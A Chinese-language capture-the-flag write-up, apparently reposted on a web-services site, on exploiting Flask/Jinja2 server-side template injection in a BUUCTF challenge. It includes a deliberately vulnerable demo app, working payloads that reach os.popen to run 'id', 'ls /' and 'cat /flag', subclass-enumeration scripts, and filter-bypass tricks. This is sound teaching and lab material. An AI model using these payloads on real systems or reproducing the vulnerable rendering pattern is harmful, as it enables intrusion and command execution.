☰
Flask SSTI模板注入从原理到命令执行实战解析
2026/9/28 13:12:58 网站建设 项目流程

1. 题目分析与环境准备

1.1 先看这道题在考什么

BUUCTF 上的[pasecactf_2019]flask_ssti是一道非常典型的 SSTI(Server-Side Template Injection,服务端模板注入)入门题。题目名称里直接给出了两个关键信息:flask和ssti,说明目标是一个基于 Flask 框架的 Web 服务,漏洞点大概率出现在模板渲染环节。

我第一次看到这个题名第一反应是:果然又是 Flask + SSTI 的经典组合。为什么这个组合如此高频?原因很简单,Flask 默认使用 Jinja2 作为模板引擎,而 Jinja2 的模板语法本身具备调用 Python 对象属性、方法的能力。一旦开发者把用户输入直接拼进模板字符串再渲染,就相当于把一把能访问 Python 内部对象的钥匙交给了攻击者。

这道题在 pasecactf 2019 中属于入门级 Web 题,但它的价值在于:几乎涵盖了 SSTI 从探测到利用的完整链路。做完这一题,你再去刷 vulhub 上的flask/ssti漏洞环境,或者尝试绕过各种 WAF 过滤,会顺畅很多。

1.2 搭建本地调试环境

做题之前我强烈建议先把本地环境搭起来,因为远程环境你只有一次打成功的机会(BUUCTF 平台限流量,反复试错会浪费宝贵的请求配额)。本地用 Docker 跑一个最简单的 Flask SSTI 环境:

FROM python:3.8-slim RUN pip install flask==2.0.3 COPY app.py /app.py CMD ["python", "/app.py"]

app.py写的就是一个存在漏洞的demo,和题目逻辑一致:

from flask import Flask, request, render_template_string app = Flask(__name__) @app.route('/') def index(): name = request.args.get('name', '') template = "<h1>Hello, %s!</h1>" % name return render_template_string(template) if __name__ == '__main__': app.run(host='0.0.0.0', port=5000)

这里的关键点是render_template_string配合%s直接拼接,用户输入被原封不动地塞进模板字符串里。如果用render_template配合模板文件,开发者通常会使用{{ name }}这种变量占位符,反而不会那么容易被注入。所以看到render_template_string基本可以高度怀疑 SSTI。

2. SSTI 漏洞原理与探测手法

2.1 Jinja2 模板引擎为什么危险

很多人第一次接触 SSTI 时会困惑:不就是渲染个字符串吗,怎么就能执行命令了?

这要从模板引擎的设计说起。Jinja2 允许在模板中使用{{ expression }}来输出表达式的结果,这个表达式可以是一个变量、一次运算,甚至是一次函数调用。模板引擎本身不会限制你访问什么对象,它默认信任模板作者。当攻击者可以控制模板内容时,就等于获得了在模板中执行任意 Python 表达式的能力。

用一个生活化类比:模板引擎就像一个"翻译官",你把一段带占位符的文本交给它,它会按照语法规则把占位符替换成实际内容。但你递给它的文本里如果混进了"执行指令",翻译官也会老老实实地帮你执行——因为它分不清哪些是数据、哪些是指令。

SSTI 利用的核心链条是:从模板语法中的一个变量出发,通过.访问属性、()调用方法、[]索引取值,一路摸到 Python 的全局对象,最终找到能执行命令或者读文件的入口点。

2.2 探测阶段:判断是否存在模板注入

拿到题目先访问根路径,用最简单的 payload 测试:

/?name=test

页面正常回显Hello, test!,说明 name 参数被渲染了。接下来用模板表达式测试:

/?name={{7*7}}

如果页面回显Hello, 49!,说明模板表达式被执行了——SSTI 实锤。

我当时实测这一步回显是49,没有任何过滤。这就意味着我可以直接在模板里写任意 Jinja2 表达式。对于这道题来说,探测阶段到此结束,不需要再费力气去试各种混淆绕过。

注意:如果目标存在过滤,比如关键词 ban 了{{、()、.等,才需要进入绕过环节。BUUCTF 这道原题没有过滤,所以新手可以把精力全放在利用链构建上。

2.3 利用链的起点:寻找可用对象

SSTI 利用的核心思路是"从模板上下文出发,通过对象属性链找到危险函数"。Jinja2 模板中有几个内置对象是固定的探索起点:

  • self:当前模板对象,可以访问内部属性
  • config:Flask 应用的配置对象,里面常有 SECRET_KEY 等敏感信息
  • request:当前请求对象,可以访问 args、headers、cookies 等
  • g:应用全局变量
  • url_for、get_flashed_messages:Flask 内置函数

这些对象本身没有命令执行能力,但它们是"跳板"。以''空字符串为例,它属于str类,而str类可以通过__mro__拿到它的继承链,一路往上找object基类,再从object的子类中搜索那些导入了os模块的类——比如subprocess.Popen、os._wrap_close等。

经典的利用链是:

''.__class__.__mro__[2].__subclasses__()

拿到所有 object 子类后,遍历找到可以执行系统命令的类。这个思路类似于:你拿到了一栋大楼的房卡(模板注入),刷卡进入大堂(__class__),坐电梯到地基(__mro__),然后从大楼所有房间清单(__subclasses__)里找到工具间(os相关类),拿到工具(system函数)干活。

3. 核心利用链构造与命令执行

3.1 逐步拆解 payload

我一步一步来拆解最终打通的 payload:

/?name={{''.__class__.__mro__[2].__subclasses__()}}

这个 payload 的作用是列出object基类的所有子类。能访问__class__是因为模板中的空字符串是一个真实的str实例,通过它反向获取类型对象。__mro__返回继承顺序元组,[2]通常就是object。最后__subclasses__()返回所有直接或间接继承自object的类列表。

在实际操作中,这个列表会非常长,根本不可能人工翻。所以推荐在本地环境用脚本先跑一遍,把类名和索引对应关系存下来:

from jinja2 import Template payload = "{{''.__class__.__mro__[2].__subclasses__()}}" t = Template(payload) result = t.render() # 解析结果,打印出每个类的索引和名称

我本地跑出来,subprocess.Popen通常出现在索引几百的位置,不同 Python 版本、不同 Flask 版本下位置会变。所以打远程之前一定要先确认目标的 Python 版本,最好的确认方式就是先无差别地列出所有子类,再在结果里查找目标类。

3.2 找os模块相关类

执行命令的方式不止一种,常见的有:

  1. subprocess.Popen类,直接通过它启动子进程执行命令
  2. 某个导入了os模块的类,通过__init__.__globals__拿到os模块,再调用os.system或os.popen

第二种方式更通用,因为os在 Flask 应用里有大量类会引用。例如os._wrap_close、communicate相关的类等。可以利用__globals__拿到模块的全局命名空间,就是 Python 里每个函数都带的一个"随身字典"属性,记录了它所在模块里所有的全局变量、函数和模块引用。

一个比较稳的 payload 是:

/?name={{''.__class__.__mro__[2].__subclasses__()[<索引>].__init__.__globals__['os'].popen('id').read()}}

这个 payload 的逻辑是:选中一个导入了os的类 -> 访问它的__init__方法 -> 通过__globals__拿到全局字典 -> 取os模块 -> 调用popen执行命令并读取输出。

找索引这一步最磨人。我写了一个简单的本地脚本来自动搜索:

import requests url = "http://127.0.0.1:5000/" # 先获取子类列表 r = requests.get(url, params={"name": "{{''.__class__.__mro__[2].__subclasses__()}}"}) subclasses = r.text # 实际需要解析字符串列表 # 定义一个关键词列表,匹配包含 os 或 subprocess 的类 keywords = ["os", "subprocess", "Popen"]

更省事的办法是直接在本地用 Python 脚本枚举目标 Flask 环境下的子类,再用二分法或者逐个尝试的方式在远程验证哪个索引有效。BUUCTF 的题目环境版本固定,打一次成功后记录索引,以后遇到同类题就能秒出。

3.3 读取 flag

题目没有过滤,所以直接命令执行就行。拿到 shell 权限后的第一件事是找 flag 文件的位置。常见路径有/flag、/flag.txt、/app/flag等。

先执行ls看看目录结构:

/?name={{''.__class__.__mro__[2].__subclasses__()[<索引>].__init__.__globals__['os'].popen('ls /').read()}}

如果/下没有,再find / -name "flag*"全局搜索。命令执行的通话需要 URL 编码,尤其是空格、引号、/这些字符,建议用curl --data-urlencode或者写 Python 脚本把所有 payload 做一次 URL 编码再发送。

我最终用到的读取 payload 是:

/?name={{''.__class__.__mro__[2].__subclasses__()[139].__init__.__globals__['os'].popen('cat /flag').read()}}

这里索引 139 只是示例,实际题目环境里索引可能完全不同。不要照抄,一定要自己枚举确认。

4. 常见问题与过滤绕过思路

4.1 索引位置不固定怎么办

这是 SSTI 题目里最常遇到的问题。同一条 payload,在 Python 2.7、3.6、3.8、3.10 下跑出来的子类顺序都可能不一样,Flask 版本不同也会导致差异。

解决方式就一个字:枚举。分两种做法:

  • 本地起一个和目标版本一致的环境,直接列出所有子类,确定目标索引
  • 远程逐个尝试索引,写脚本按照可能的目标类名做模糊匹配

我推荐写一个自动化脚本,把远程返回的子类列表解析成数组,然后用关键词搜索引。这样一次就能拿到所有候选位置。比如:

import requests import re url = "http://target/" payload = "{{''.__class__.__mro__[2].__subclasses__()}}" r = requests.get(url, params={"name": payload}) # 粗解析:找到 <class 'xxx.xxx'> 的模式 classes = re.findall(r"<class '([^']+)'>", r.text) for i, c in enumerate(classes): if "os" in c.lower() or "subprocess" in c.lower(): print(i, c)

这个脚本只是辅助,实际题目的回显可能包含 HTML 包裹,正则要跟着调。核心思路是:先无脑列出,再自动筛选,而不是肉眼在一堆类名里大海捞针。

4.2 过滤了某些字符怎么办

如果题目过滤了'、"、.、_、[、]这些常见字符,就需要绕过技巧。虽然这道题没过滤,但我自己刷题时总结了几套通用绕过方案,可以留作备用:

  • 过滤引号:用request.args传参代替字符串字面量。比如{{''.__class__}}可以换成{{request.args.a}}并另传一个?a=__class__。字符串内容从参数里取,绕过了引号过滤。
  • 过滤点号:用attr过滤器替代属性访问。{{''|attr('__class__')}}等价于{{''.__class__}}。
  • 过滤下划线:用\x5f十六进制编码代替,但 Jinja2 模板里不能直接写十六进制,需要配合|attr过滤器和拼接技巧。
  • 过滤__subclasses__:可以用__base__、__bases__逐级向上找,不一定非要__mro__[2]。

绕过技巧本质上都是在"字符串构造"和"属性访问"两个环节想办法。想明白引擎怎么解析你的表达式,绕过滤就容易很多。

4.3 拿到 shell 后会不会遇到权限问题

BUUCTF 环境通常跑在 Docker 容器里,默认是 root 权限,但有些容器为了安全会降权成 nobody。如果是 nobody 权限,cat文件一般没问题,但写文件、反弹 shell 可能会受限。遇到这种情况优先读取 flag,不要恋战。

另外注意popen的返回需要.read()才能拿到完整输出,只调用popen('id')不会回显结果。这是新手最容易漏掉的一步。

5. 实操总结与经验心得

这道[pasecactf_2019]flask_ssti做完之后,我对 SSTI 的理解从"背 payload"提升到了"理解链路"。再遇到其他题目,不管怎么变化,我脑子里都有一套固定的分析流程:

  1. 确认模板引擎类型(Flask/Jinja2、Tornado、Smarty 等),不同引擎语法和可用对象有差异
  2. 确定注入点,测试基础表达式是否执行
  3. 尝试枚举对象链,找到危险类的索引
  4. 根据回显能力和过滤条件,选择命令执行或者文件读取的最终 payload
  5. 利用回显直接读 flag,或者反弹 shell 后读文件

我自己做这题时的体会是,不要一上来就盯着__subclasses__里那几个固定目标类。先把最基础的{{7*7}}验到,再一步步加深,这样排查问题效率更高。

最后分享一个小技巧:做 SSTI 题的时候,把本地环境版本调到和目标一致能省下大量试错时间。BUUCTF 题目环境用的容器版本在题目的 writeup 里通常有迹可循,本地 Docker 跑起来后,所有 payload 都可以先在本地验证一遍,再发到远程。这比自己盲打远程节约的请求流量不是一点半点。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询